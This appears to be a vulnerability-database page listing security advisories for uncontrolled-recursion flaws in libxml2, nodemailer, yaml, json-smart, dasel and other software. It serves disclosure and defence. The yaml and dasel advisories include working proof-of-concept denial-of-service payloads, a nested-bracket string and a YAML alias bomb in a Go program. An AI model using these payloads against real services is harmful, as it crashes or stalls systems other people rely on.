Common Weakness Enumeration

CWE-674

Allowed-with-Review

Uncontrolled Recursion

Abstraction: Class · Status: Draft

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

616 vulnerabilities reference this CWE, most recent first.

GHSA-3XFM-X84X-QWWQ

Vulnerability from github – Published: 2026-01-15 15:31 – Updated: 2026-04-22 12:30
VLAI
Details

A flaw was identified in the RelaxNG parser of libxml2 related to how external schema inclusions are handled. The parser does not enforce a limit on inclusion depth when resolving nested directives. Specially crafted or overly complex schemas can cause excessive recursion during parsing. This may lead to stack exhaustion and application crashes, creating a denial-of-service risk.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-0989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-15T15:15:52Z",
    "severity": "LOW"
  },
  "details": "A flaw was identified in the RelaxNG parser of libxml2 related to how external schema inclusions are handled. The parser does not enforce a limit on inclusion depth when resolving nested \u003cinclude\u003e directives. Specially crafted or overly complex schemas can cause excessive recursion during parsing. This may lead to stack exhaustion and application crashes, creating a denial-of-service risk.",
  "id": "GHSA-3xfm-x84x-qwwq",
  "modified": "2026-04-22T12:30:28Z",
  "published": "2026-01-15T15:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0989"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:7519"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-0989"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2429933"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libxml2/-/issues/998"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-43G9-FMQ9-JJPM

Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-10-08 00:00
VLAI
Details

Products with Unified Automation .NET based OPC UA Client/Server SDK Bundle: Versions V3.0.7 and prior (.NET 4.5, 4.0, and 3.5 Framework versions only) are vulnerable to an uncontrolled recursion, which may allow an attacker to trigger a stack overflow.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-27434"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-05-20T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "Products with Unified Automation .NET based OPC UA Client/Server SDK Bundle: Versions V3.0.7 and prior (.NET 4.5, 4.0, and 3.5 Framework versions only) are vulnerable to an uncontrolled recursion, which may allow an attacker to trigger a stack overflow.",
  "id": "GHSA-43g9-fmq9-jjpm",
  "modified": "2022-10-08T00:00:21Z",
  "published": "2022-05-24T19:02:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27434"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-133-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-46J5-6FG5-4GV3

Vulnerability from github – Published: 2025-12-18 09:30 – Updated: 2026-02-03 17:37
VLAI
Summary
Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.

Original Description

A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-18T22:43:39Z",
    "nvd_published_at": "2025-12-18T09:15:44Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-rcmh-qjqh-p98v. This link is maintained to preserve external references.\n\n## Original Description\nA flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.",
  "id": "GHSA-46j5-6fg5-4gv3",
  "modified": "2026-02-03T17:37:53Z",
  "published": "2025-12-18T09:30:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-14874"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Nodemailer is vulnerable to DoS through Uncontrolled Recursion",
  "withdrawn": "2026-02-03T17:37:53Z"
}

GHSA-48C2-RRV3-QJMP

Vulnerability from github – Published: 2026-03-25 20:08 – Updated: 2026-03-27 21:34
VLAI
Summary
yaml is vulnerable to Stack Overflow via deeply nested YAML collections
Details

Parsing a YAML document with yaml may throw a RangeError due to a stack overflow.

The node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a RangeError: Maximum call stack size exceeded with a small payload (~2–10 KB). The RangeError is not a YAMLParseError, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application's exception handling, this can fail requests or terminate the Node.js process.

Flow sequences allow deep nesting with minimal bytes (2 bytes per level: one [ and one ]). On the default Node.js stack, approximately 1,000–5,000 levels of nesting (2–10 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).

Note: the library's Parser (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.

All three public parsing APIs are affected: YAML.parse(), YAML.parseDocument(), and YAML.parseAllDocuments().

PoC

const YAML = require('yaml');

// ~10 KB payload: 5000 levels of nested flow sequences
const payload = '['.repeat(5000) + '1' + ']'.repeat(5000);

try {
  YAML.parse(payload);
} catch (e) {
  console.log(e.constructor.name); // RangeError (NOT YAMLParseError)
  console.log(e.message);          // Maximum call stack size exceeded
}

Test environment: Node.js v24.12.0, macOS darwin arm64

Version Nesting Depth Input Size Result
1.0.0 5,000 10,001 B RangeError
1.10.2 5,000 10,001 B RangeError
2.0.0 5,000 10,001 B RangeError
2.8.2 5,000 10,001 B RangeError
2.8.3 5,000 10,001 B YAMLParseError

Depth threshold on yaml 2.8.2:

Nesting Depth Input Size Result
500 1,001 B Parses successfully
1,000 2,001 B RangeError (threshold varies by stack size)
5,000 10,001 B RangeError
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T20:08:24Z",
    "nvd_published_at": "2026-03-26T20:16:15Z",
    "severity": "MODERATE"
  },
  "details": "Parsing a YAML document with `yaml` may throw a RangeError due to a stack overflow.\n\nThe node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2\u201310 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application\u0027s exception handling, this can fail requests or terminate the Node.js process.\n\nFlow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000\u20135,000 levels of nesting (2\u201310 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).\n\nNote: the library\u0027s `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.\n\nAll three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`.\n\n### PoC\n\n```javascript\nconst YAML = require(\u0027yaml\u0027);\n\n// ~10 KB payload: 5000 levels of nested flow sequences\nconst payload = \u0027[\u0027.repeat(5000) + \u00271\u0027 + \u0027]\u0027.repeat(5000);\n\ntry {\n  YAML.parse(payload);\n} catch (e) {\n  console.log(e.constructor.name); // RangeError (NOT YAMLParseError)\n  console.log(e.message);          // Maximum call stack size exceeded\n}\n```\n\nTest environment: Node.js v24.12.0, macOS darwin arm64\n\n| Version | Nesting Depth | Input Size | Result |\n|---|---|---|---|\n| 1.0.0 | 5,000 | 10,001 B | RangeError |\n| 1.10.2 | 5,000 | 10,001 B | RangeError |\n| 2.0.0 | 5,000 | 10,001 B | RangeError |\n| 2.8.2 | 5,000 | 10,001 B | RangeError |\n| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |\n\nDepth threshold on yaml 2.8.2:\n\n| Nesting Depth | Input Size | Result |\n|---|---|---|\n| 500 | 1,001 B | Parses successfully |\n| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |\n| 5,000 | 10,001 B | RangeError |",
  "id": "GHSA-48c2-rrv3-qjmp",
  "modified": "2026-03-27T21:34:51Z",
  "published": "2026-03-25T20:08:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/security/advisories/GHSA-48c2-rrv3-qjmp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eemeli/yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/releases/tag/v1.10.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/releases/tag/v2.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yaml is vulnerable to Stack Overflow via deeply nested YAML collections"
}

GHSA-493P-PFQ6-5258

Vulnerability from github – Published: 2023-03-23 20:32 – Updated: 2025-02-13 18:41
VLAI
Summary
json-smart Uncontrolled Recursion vulnerability
Details

Impact

Affected versions of net.minidev:json-smart are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object.

When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software.

Patches

This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug.

Workarounds

N/A

References

  • https://www.cve.org/CVERecord?id=CVE-2023-1370
  • https://nvd.nist.gov/vuln/detail/CVE-2023-1370
  • https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "net.minidev:json-smart"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-1370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-23T20:32:03Z",
    "nvd_published_at": "2023-03-22T06:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nAffected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object.\n\nWhen reaching a \u2018[\u2018 or \u2018{\u2018 character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software.\n\n### Patches\nThis vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug.\n\n### Workarounds\nN/A\n\n### References\n- https://www.cve.org/CVERecord?id=CVE-2023-1370\n- https://nvd.nist.gov/vuln/detail/CVE-2023-1370\n- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748",
  "id": "GHSA-493p-pfq6-5258",
  "modified": "2025-02-13T18:41:52Z",
  "published": "2023-03-23T20:32:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oswaldobapvicjr/jsonmerge/security/advisories/GHSA-493p-pfq6-5258"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/issues/137"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/commit/5b3205d051952d3100aa0db1535f6ba6226bd87a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netplex/json-smart-v2/commit/e2791ae506a57491bc856b439d706c81e45adcf8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oswaldobapvicjr/jsonmerge"
    },
    {
      "type": "WEB",
      "url": "https://research.jfrog.com/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240621-0006"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-1370"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "json-smart Uncontrolled Recursion vulnerability"
}

GHSA-4CX5-6RWV-F35M

Vulnerability from github – Published: 2026-05-28 12:30 – Updated: 2026-06-10 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

drm/amdgpu/vcn4: Avoid overflow on msg bound check

As pointed out by SDL, the previous condition may be vulnerable to overflow.

(cherry picked from commit 3c5367d950140d4ec7af830b2268a5a6fdaa3885)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-46217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-28T10:16:37Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amdgpu/vcn4: Avoid overflow on msg bound check\n\nAs pointed out by SDL, the previous condition may be vulnerable to\noverflow.\n\n(cherry picked from commit 3c5367d950140d4ec7af830b2268a5a6fdaa3885)",
  "id": "GHSA-4cx5-6rwv-f35m",
  "modified": "2026-06-10T21:31:25Z",
  "published": "2026-05-28T12:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46217"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/271cd5429513ff9b364a9bf8903e5b65b687eb25"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/30d12ee310a6024ff4c7b9eafdbbeab2db450d4a"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/5bb5faff4837b1d98fd655cf8bd7b5d4da0fc4dc"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/65bce27ea6192320448c30267ffc17ffa094e713"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/73043d296787bf187d89ffb5c5dcf5bdc3db7885"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/f7bf02dcb7c76229ea8ace11b7d0d0c7b87ee57e"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4FCP-JXH7-23X8

Vulnerability from github – Published: 2026-03-19 12:50 – Updated: 2026-03-25 21:35
VLAI
Summary
Dasel has unbounded YAML alias expansion in dasel leads to CPU/memory denial of service
Details

Summary

dasel's YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library's own UnmarshalYAML implementation, which manually resolves alias nodes by recursively following yaml.Node.Alias pointers without any expansion budget, bypassing go-yaml v4's built-in alias expansion limit.

The issue issue is on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on the current default branch at commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. It is also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.

Details

In v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8), the reachable call path is:

The root cause is that go-yaml v4 has two decoding paths:

  1. Unmarshal into Go values: Tracks alias expansion count and rejects documents with excessive aliasing ("yaml: document contains excessive aliasing").
  2. Decode into yaml.Node / custom UnmarshalYAML: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.

Dasel receives the compact Node tree via its UnmarshalYAML(*yaml.Node) hook and then recursively follows value.Alias pointers, re-expanding aliases without a budget:

case yaml.AliasNode:
    newVal := &yamlValue{}
    if err := newVal.UnmarshalYAML(value.Alias); err != nil {
        return err
    }
    yv.value = newVal.value
    yv.value.SetMetadataValue("yaml-alias", value.Value)

With a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.

Test environment:

  • MacBook Air (Apple M2), macOS / Darwin arm64
  • Go 1.26.1
  • dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)
  • go.yaml.in/yaml/v4 v4.0.0-rc.3

PoC

package main

import (
    "fmt"
    "runtime"
    "time"

    "github.com/tomwright/dasel/v3/parsing"
    _ "github.com/tomwright/dasel/v3/parsing/yaml"
    "go.yaml.in/yaml/v4"
)

func main() {
    payload := `a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
`

    fmt.Printf("Payload size: %d bytes\n", len(payload))
    fmt.Printf("Go version: %s\n", runtime.Version())
    fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
    fmt.Println()

    // 1. go-yaml v4 Unmarshal correctly rejects this
    fmt.Println("=== Test 1: Direct yaml.Unmarshal (should be rejected) ===")
    {
        var v interface{}
        start := time.Now()
        err := yaml.Unmarshal([]byte(payload), &v)
        elapsed := time.Since(start)
        if err != nil {
            fmt.Printf("SAFE: Rejected in %v: %v\n", elapsed, err)
        } else {
            fmt.Printf("VULNERABLE: Completed in %v\n", elapsed)
        }
    }
    fmt.Println()

    // 2. Dasel's YAML reader is vulnerable
    fmt.Println("=== Test 2: Dasel YAML reader (VULNERABLE) ===")
    done := make(chan string, 1)
    go func() {
        reader, err := parsing.Format("yaml").NewReader(parsing.DefaultReaderOptions())
        if err != nil {
            done <- fmt.Sprintf("Error creating reader: %v", err)
            return
        }
        start := time.Now()
        _, err = reader.Read([]byte(payload))
        elapsed := time.Since(start)
        if err != nil {
            done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
        } else {
            done <- fmt.Sprintf("Completed in %v", elapsed)
        }
    }()

    select {
    case result := <-done:
        fmt.Println(result)
    case <-time.After(5 * time.Second):
        fmt.Println("CONFIRMED: did not complete within 5s; unbounded alias expansion in progress")
    }
}

Observed output on v3.3.1 in the test environment above:

Payload size: 342 bytes
Go version: go1.26.1
GOARCH: arm64

=== Test 1: Direct yaml.Unmarshal (should be rejected) ===
SAFE: Rejected in 824.042µs: yaml: document contains excessive aliasing

=== Test 2: Dasel YAML reader (VULNERABLE) ===
CONFIRMED: did not complete within 5s; unbounded alias expansion in progress

Impact

An attacker who can supply YAML for processing by dasel can cause denial of service. The library's own UnmarshalYAML handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.

This affects: - CLI usage: when reading YAML from stdin or files via the CLI - Library usage: any application using dasel's YAML reader to parse untrusted YAML - The parse("yaml", ...) function in selectors

Suggested Fix

One likely fix is to add an alias expansion counter to UnmarshalYAML that limits the total number of alias resolutions, similar to go-yaml v4's internal limit. For example, track a counter across all recursive calls and return an error when it exceeds a threshold (e.g., 1,000,000 expansions).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tomwright/dasel/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33320"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T12:50:57Z",
    "nvd_published_at": "2026-03-24T01:17:02Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`dasel`\u0027s YAML reader allows an attacker who can supply YAML for processing to trigger extreme CPU and memory consumption. The issue is in the library\u0027s own `UnmarshalYAML` implementation, which manually resolves alias nodes by recursively following `yaml.Node.Alias` pointers without any expansion budget, bypassing go-yaml v4\u0027s built-in alias expansion limit.\n\nThe issue issue is on `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`) and on the current default branch at commit `0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad`. It is also verified the same code path is present in `v3.0.0` (`648f83baf070d9e00db8ff312febef857ec090a3`). A 342-byte payload did not complete within 5 seconds on the test system and exhibited unbounded resource growth.\n\n### Details\n\nIn `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`), the reachable call path is:\n\n- The YAML reader is registered in [`parsing/yaml/yaml.go`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml.go) and exposed via `parsing.Format(\"yaml\").NewReader()`\n- `(*yamlReader).Read` in [`parsing/yaml/yaml_reader.go#L23-L48`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L23-L48) uses `yaml.NewDecoder` to decode the input. Because `yamlValue` implements `UnmarshalYAML(*yaml.Node)`, the decoder passes the raw `*yaml.Node` tree to that custom unmarshaler\n- `(*yamlValue).UnmarshalYAML` in [`parsing/yaml/yaml_reader.go#L57-L131`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L57-L131) walks the Node tree\n- When an `AliasNode` is encountered, the handler at [`parsing/yaml/yaml_reader.go#L119-L126`](https://github.com/TomWright/dasel/blob/fba653c7f248aff10f2b89fca93929b64707dfc8/parsing/yaml/yaml_reader.go#L119-L126) recursively calls `newVal.UnmarshalYAML(value.Alias)` without tracking expansion count\n\nThe root cause is that go-yaml v4 has two decoding paths:\n\n1. **`Unmarshal` into Go values**: Tracks alias expansion count and rejects documents with excessive aliasing (`\"yaml: document contains excessive aliasing\"`).\n2. **`Decode` into `yaml.Node` / custom `UnmarshalYAML`**: Passes a compact Node tree where alias nodes are pointers to their anchors. No expansion occurs at this level.\n\nDasel receives the compact Node tree via its `UnmarshalYAML(*yaml.Node)` hook and then recursively follows `value.Alias` pointers, re-expanding aliases without a budget:\n\n```go\ncase yaml.AliasNode:\n    newVal := \u0026yamlValue{}\n    if err := newVal.UnmarshalYAML(value.Alias); err != nil {\n        return err\n    }\n    yv.value = newVal.value\n    yv.value.SetMetadataValue(\"yaml-alias\", value.Value)\n```\n\nWith a 9-level alias bomb (each level referencing the previous 9 times), this produces hundreds of millions of recursive expansions from a 342-byte input.\n\nTest environment:\n\n- MacBook Air (Apple M2), macOS / Darwin `arm64`\n- Go `1.26.1`\n- dasel `v3.3.1` (`fba653c7f248aff10f2b89fca93929b64707dfc8`)\n- go.yaml.in/yaml/v4 `v4.0.0-rc.3`\n\n### PoC\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\t\"time\"\n\n\t\"github.com/tomwright/dasel/v3/parsing\"\n\t_ \"github.com/tomwright/dasel/v3/parsing/yaml\"\n\t\"go.yaml.in/yaml/v4\"\n)\n\nfunc main() {\n\tpayload := `a: \u0026a [\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\",\"lol\"]\nb: \u0026b [*a,*a,*a,*a,*a,*a,*a,*a,*a]\nc: \u0026c [*b,*b,*b,*b,*b,*b,*b,*b,*b]\nd: \u0026d [*c,*c,*c,*c,*c,*c,*c,*c,*c]\ne: \u0026e [*d,*d,*d,*d,*d,*d,*d,*d,*d]\nf: \u0026f [*e,*e,*e,*e,*e,*e,*e,*e,*e]\ng: \u0026g [*f,*f,*f,*f,*f,*f,*f,*f,*f]\nh: \u0026h [*g,*g,*g,*g,*g,*g,*g,*g,*g]\ni: \u0026i [*h,*h,*h,*h,*h,*h,*h,*h,*h]\n`\n\n\tfmt.Printf(\"Payload size: %d bytes\\n\", len(payload))\n\tfmt.Printf(\"Go version: %s\\n\", runtime.Version())\n\tfmt.Printf(\"GOARCH: %s\\n\", runtime.GOARCH)\n\tfmt.Println()\n\n\t// 1. go-yaml v4 Unmarshal correctly rejects this\n\tfmt.Println(\"=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\")\n\t{\n\t\tvar v interface{}\n\t\tstart := time.Now()\n\t\terr := yaml.Unmarshal([]byte(payload), \u0026v)\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"SAFE: Rejected in %v: %v\\n\", elapsed, err)\n\t\t} else {\n\t\t\tfmt.Printf(\"VULNERABLE: Completed in %v\\n\", elapsed)\n\t\t}\n\t}\n\tfmt.Println()\n\n\t// 2. Dasel\u0027s YAML reader is vulnerable\n\tfmt.Println(\"=== Test 2: Dasel YAML reader (VULNERABLE) ===\")\n\tdone := make(chan string, 1)\n\tgo func() {\n\t\treader, err := parsing.Format(\"yaml\").NewReader(parsing.DefaultReaderOptions())\n\t\tif err != nil {\n\t\t\tdone \u003c- fmt.Sprintf(\"Error creating reader: %v\", err)\n\t\t\treturn\n\t\t}\n\t\tstart := time.Now()\n\t\t_, err = reader.Read([]byte(payload))\n\t\telapsed := time.Since(start)\n\t\tif err != nil {\n\t\t\tdone \u003c- fmt.Sprintf(\"Error after %v: %v\", elapsed, err)\n\t\t} else {\n\t\t\tdone \u003c- fmt.Sprintf(\"Completed in %v\", elapsed)\n\t\t}\n\t}()\n\n\tselect {\n\tcase result := \u003c-done:\n\t\tfmt.Println(result)\n\tcase \u003c-time.After(5 * time.Second):\n\t\tfmt.Println(\"CONFIRMED: did not complete within 5s; unbounded alias expansion in progress\")\n\t}\n}\n```\n\nObserved output on `v3.3.1` in the test environment above:\n\n```text\nPayload size: 342 bytes\nGo version: go1.26.1\nGOARCH: arm64\n\n=== Test 1: Direct yaml.Unmarshal (should be rejected) ===\nSAFE: Rejected in 824.042\u00b5s: yaml: document contains excessive aliasing\n\n=== Test 2: Dasel YAML reader (VULNERABLE) ===\nCONFIRMED: did not complete within 5s; unbounded alias expansion in progress\n```\n\n### Impact\n\nAn attacker who can supply YAML for processing by dasel can cause denial of service. The library\u0027s own `UnmarshalYAML` handler triggers unbounded recursive alias expansion from a 342-byte input. The process consumes 100% CPU and exhibits growing memory usage until externally terminated.\n\nThis affects:\n- CLI usage: when reading YAML from stdin or files via the CLI\n- Library usage: any application using dasel\u0027s YAML reader to parse untrusted YAML\n- The `parse(\"yaml\", ...)` function in selectors\n\n### Suggested Fix\n\nOne likely fix is to add an alias expansion counter 